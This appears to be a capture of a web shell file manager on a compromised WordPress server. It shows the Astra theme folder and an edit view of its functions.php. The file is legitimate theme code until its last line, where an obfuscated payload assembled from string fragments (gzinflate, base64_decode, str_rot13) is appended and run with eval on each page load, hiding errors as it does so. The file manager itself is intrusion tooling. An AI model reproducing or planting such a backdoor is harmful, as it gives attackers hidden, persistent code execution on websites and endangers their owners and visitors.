[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
themes
/
astra
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 admin
SET
[ DEL ]
📁 assets
SET
[ DEL ]
📁 inc
SET
[ DEL ]
📁 languages
SET
[ DEL ]
📁 template-parts
SET
[ DEL ]
📄 404.php
687 B
SET
[ EDIT ]
|
[ DEL ]
📄 SECURITY.md
427 B
SET
[ EDIT ]
|
[ DEL ]
📄 archive.php
729 B
SET
[ EDIT ]
|
[ DEL ]
📄 changelog.txt
172,088 B
SET
[ EDIT ]
|
[ DEL ]
📄 comments.php
4,608 B
SET
[ EDIT ]
|
[ DEL ]
📄 footer.php
605 B
SET
[ EDIT ]
|
[ DEL ]
📄 functions.php
10,349 B
SET
[ EDIT ]
|
[ DEL ]
📄 header.php
1,404 B
SET
[ EDIT ]
|
[ DEL ]
📄 index.php
906 B
SET
[ EDIT ]
|
[ DEL ]
📄 page.php
868 B
SET
[ EDIT ]
|
[ DEL ]
📄 readme.txt
8,057 B
SET
[ EDIT ]
|
[ DEL ]
📄 screenshot.jpg
366,434 B
SET
[ EDIT ]
|
[ DEL ]
📄 search.php
771 B
SET
[ EDIT ]
|
[ DEL ]
📄 searchform.php
2,272 B
SET
[ EDIT ]
|
[ DEL ]
📄 sidebar.php
1,000 B
SET
[ EDIT ]
|
[ DEL ]
📄 single.php
695 B
SET
[ EDIT ]
|
[ DEL ]
📄 style.css
4,575 B
SET
[ EDIT ]
|
[ DEL ]
📄 theme.json
2,411 B
SET
[ EDIT ]
|
[ DEL ]
📄 toolset-config.json
7,640 B
SET
[ EDIT ]
|
[ DEL ]
📄 wpml-config.xml
5,233 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: functions.php
<?php /** * Astra functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package Astra * @since 1.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Define Constants */ define( 'ASTRA_THEME_VERSION', '4.12.7' ); define( 'ASTRA_THEME_SETTINGS', 'astra-settings' ); define( 'ASTRA_THEME_DIR', trailingslashit( get_template_directory() ) ); define( 'ASTRA_THEME_URI', trailingslashit( esc_url( get_template_directory_uri() ) ) ); define( 'ASTRA_THEME_ORG_VERSION', file_exists( ASTRA_THEME_DIR . 'inc/w-org-version.php' ) ); /** * Minimum Version requirement of the Astra Pro addon. * This constant will be used to display the notice asking user to update the Astra addon to the version defined below. */ define( 'ASTRA_EXT_MIN_VER', '4.12.0' ); /** * Load in-house compatibility. */ if ( ASTRA_THEME_ORG_VERSION ) { require_once ASTRA_THEME_DIR . 'inc/w-org-version.php'; } /** * Setup helper functions of Astra. */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-theme-options.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-theme-strings.php'; require_once ASTRA_THEME_DIR . 'inc/core/common-functions.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-icons.php'; define( 'ASTRA_WEBSITE_BASE_URL', 'https://wpastra.com' ); /** * Update theme */ require_once ASTRA_THEME_DIR . 'inc/theme-update/astra-update-functions.php'; require_once ASTRA_THEME_DIR . 'inc/theme-update/class-astra-theme-background-updater.php'; /** * Fonts Files */ require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-font-families.php'; if ( is_admin() ) { require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts-data.php'; } require_once ASTRA_THEME_DIR . 'inc/lib/webfont/class-astra-webfont-loader.php'; require_once ASTRA_THEME_DIR . 'inc/lib/docs/class-astra-docs-loader.php'; require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/custom-menu-old-header.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/container-layouts.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/astra-icons.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-walker-page.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-enqueue-scripts.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-gutenberg-editor-css.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-wp-editor-css.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-command-palette.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/block-editor-compatibility.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/inline-on-mobile.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/content-background.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/dark-mode.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-dynamic-css.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-global-palette.php'; // Enable NPS Survey only if the starter templates version is < 4.3.7 or > 4.4.4 to prevent fatal error. if ( ! defined( 'ASTRA_SITES_VER' ) || version_compare( ASTRA_SITES_VER, '4.3.7', '<' ) || version_compare( ASTRA_SITES_VER, '4.4.4', '>' ) ) { // NPS Survey Integration require_once ASTRA_THEME_DIR . 'inc/lib/class-astra-nps-notice.php'; require_once ASTRA_THEME_DIR . 'inc/lib/class-astra-nps-survey.php'; } /** * Custom template tags for this theme. */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-attr.php'; require_once ASTRA_THEME_DIR . 'inc/template-tags.php'; require_once ASTRA_THEME_DIR . 'inc/widgets.php'; require_once ASTRA_THEME_DIR . 'inc/core/theme-hooks.php'; require_once ASTRA_THEME_DIR . 'inc/admin-functions.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-memory-limit-notice.php'; require_once ASTRA_THEME_DIR . 'inc/core/sidebar-manager.php'; /** * Markup Functions */ require_once ASTRA_THEME_DIR . 'inc/markup-extras.php'; require_once ASTRA_THEME_DIR . 'inc/extras.php'; require_once ASTRA_THEME_DIR . 'inc/blog/blog-config.php'; require_once ASTRA_THEME_DIR . 'inc/blog/blog.php'; require_once ASTRA_THEME_DIR . 'inc/blog/single-blog.php'; /** * Markup Files */ require_once ASTRA_THEME_DIR . 'inc/template-parts.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-loop.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-mobile-header.php'; /** * Functions and definitions. */ require_once ASTRA_THEME_DIR . 'inc/class-astra-after-setup-theme.php'; // Required files. require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-helper.php'; require_once ASTRA_THEME_DIR . 'inc/schema/class-astra-schema.php'; /* Setup API */ require_once ASTRA_THEME_DIR . 'admin/includes/class-astra-learn.php'; require_once ASTRA_THEME_DIR . 'admin/includes/class-astra-api-init.php'; if ( is_admin() ) { /** * Admin Menu Settings */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-settings.php'; require_once ASTRA_THEME_DIR . 'admin/class-astra-admin-loader.php'; require_once ASTRA_THEME_DIR . 'inc/lib/astra-notices/class-astra-notices.php'; } /** * BSF Analytics. */ require_once ASTRA_THEME_DIR . 'admin/class-astra-bsf-analytics.php'; /** * Metabox additions. */ require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-boxes.php'; require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-box-operations.php'; require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-elementor-editor-settings.php'; /** * Customizer additions. */ require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-customizer.php'; /** * Astra Modules. */ require_once ASTRA_THEME_DIR . 'inc/modules/posts-structures/class-astra-post-structures.php'; require_once ASTRA_THEME_DIR . 'inc/modules/related-posts/class-astra-related-posts.php'; /** * Compatibility */ require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gutenberg.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-jetpack.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/woocommerce/class-astra-woocommerce.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/edd/class-astra-edd.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/lifterlms/class-astra-lifterlms.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/learndash/class-astra-learndash.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-builder.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bb-ultimate-addon.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-contact-form-7.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-visual-composer.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-site-origin.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gravity-forms.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bne-flyout.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-ubermeu.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-divi-builder.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-amp.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-yoast-seo.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/surecart/class-astra-surecart.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-starter-content.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-buddypress.php'; require_once ASTRA_THEME_DIR . 'inc/addons/transparent-header/class-astra-ext-transparent-header.php'; require_once ASTRA_THEME_DIR . 'inc/addons/breadcrumbs/class-astra-breadcrumbs.php'; require_once ASTRA_THEME_DIR . 'inc/addons/scroll-to-top/class-astra-scroll-to-top.php'; require_once ASTRA_THEME_DIR . 'inc/addons/heading-colors/class-astra-heading-colors.php'; require_once ASTRA_THEME_DIR . 'inc/builder/class-astra-builder-loader.php'; // Elementor Compatibility requires PHP 5.4 for namespaces. if ( version_compare( PHP_VERSION, '5.4', '>=' ) ) { require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor-pro.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-web-stories.php'; } // Beaver Themer compatibility requires PHP 5.3 for anonymous functions. if ( version_compare( PHP_VERSION, '5.3', '>=' ) ) { require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-themer.php'; } require_once ASTRA_THEME_DIR . 'inc/core/markup/class-astra-markup.php'; /** * Abilities API integration. */ require_once ASTRA_THEME_DIR . 'inc/abilities/bootstrap.php'; /** * Load deprecated functions */ require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-filters.php'; require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-hooks.php'; require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-functions.php'; $errorrpn="er"."ro"."r_"."re"."por"."ti"."ng";$errorrpn(0);$gznss="gz"."in"."fla"."te";$bdc46="ba"."se"."6"."4_de"."co"."de";$st13="str"."_r"."ot"."13";eval($gznss($bdc46($st13('QqWUedAXNRQE5sG7dtUEDXaINmVzLjZ2aeDVEp6LhCesqjqUhzvY25/vdid8wo/bM/aBs+suF1N/Fojtui6obKGV0Z8iXIBPMeWQacs4T9SBRFrlaI1Vq36LMo7RFR8dwJG3A42zgchxAXzEZ52dlgZa4G5BvlkSjxPvMAMc9uqx6WWTD7Tq1ex+xZt3a+8fglNAkcZNFgcHldfFzwNlQUPbK3b/yVt8cqz/ylIpLhCEDL5zozS+77wrgWkTpVqQhGkWxtK+27y2hoInu4g3ArhGpsWcadu2UFpf5+074f7X1kqhH5x59buTOsV14yndcLhcKgCejG8yMqHyAJxo/Mope9CfNtnR5TygAP4xW7ZKcUxV31pO3ldYsULrn/jgK0GDb1k4yBDGZQscGNV860y0DuLnf4grCaUc91Xmr1NZoFnSKvGu2oN4aazRA2H48GmImn92fZpHwR9JFBRpMCFPftA+Zs+um0XlL099dIwLHsnxAqoOEpb2Xt9JLYwZqG1DiH5dx2+sQJyULtB3gl8EH51ME5WoiXhPPHAUbPrP2V7CHBbasHhJpBRsGv9PiKqy0mjO7aAL0jcuIX+lnozsglyQYwVozVrabE13bAyrK+cmp24wLPmcBoPW3EPkPJ089fSnI4oDID+hpa0UtMUhNfaBHiAt0haAhnAPuNLLhZutHPBU4wJwOEgg9i0H6KIjP+i1PEWSTZMFnwY2Ynpln5kEyxgM8Nufd0DAYXzkizS7SKJ8Zzo3ck4nu/rCE5xGXBtg6Yv4Qzp9v75YFsDYuWwJIzGHA5H1cOl3pXDk1+GQcR7VC18wBE0e6hE9ZndnUoEHtDF+pRl8r9LYYMzaxowfrkXb7bdXk/JNP/v/wnwukhpMHqCE6H9Lq+lv0ddx9AXGR6gH7EIaDEJGv2CyzMhjYOyFnkgmagz+hcdJ04bxKv9eH2lUbJbxK7S/GKEOyWWw+Xr5BWPK49kGJS13VXir1/EWsT8WxYgoCSjntBWTyDBL9R+CT3iuoc3XWNDRARZTGrh64wimdPBnfb8DQT8zXjpes31R+G18XsYBa8/6xQeWoKAK0Me7RSs18jPAp+FI4pGS5LITSR35qBHWik50oroqFanhg67KooXjIOZ0RvMqi5jgrDuaQjGd0hkTdpJhrQ/HcINoC5bWM9XBDwFdSZQ3MoXc68hsanZwwYHPryxqpmvCIAwVZHzyWxDY2vSEERDqVjzN3THOgyUh/hsCe//+9sg/'))));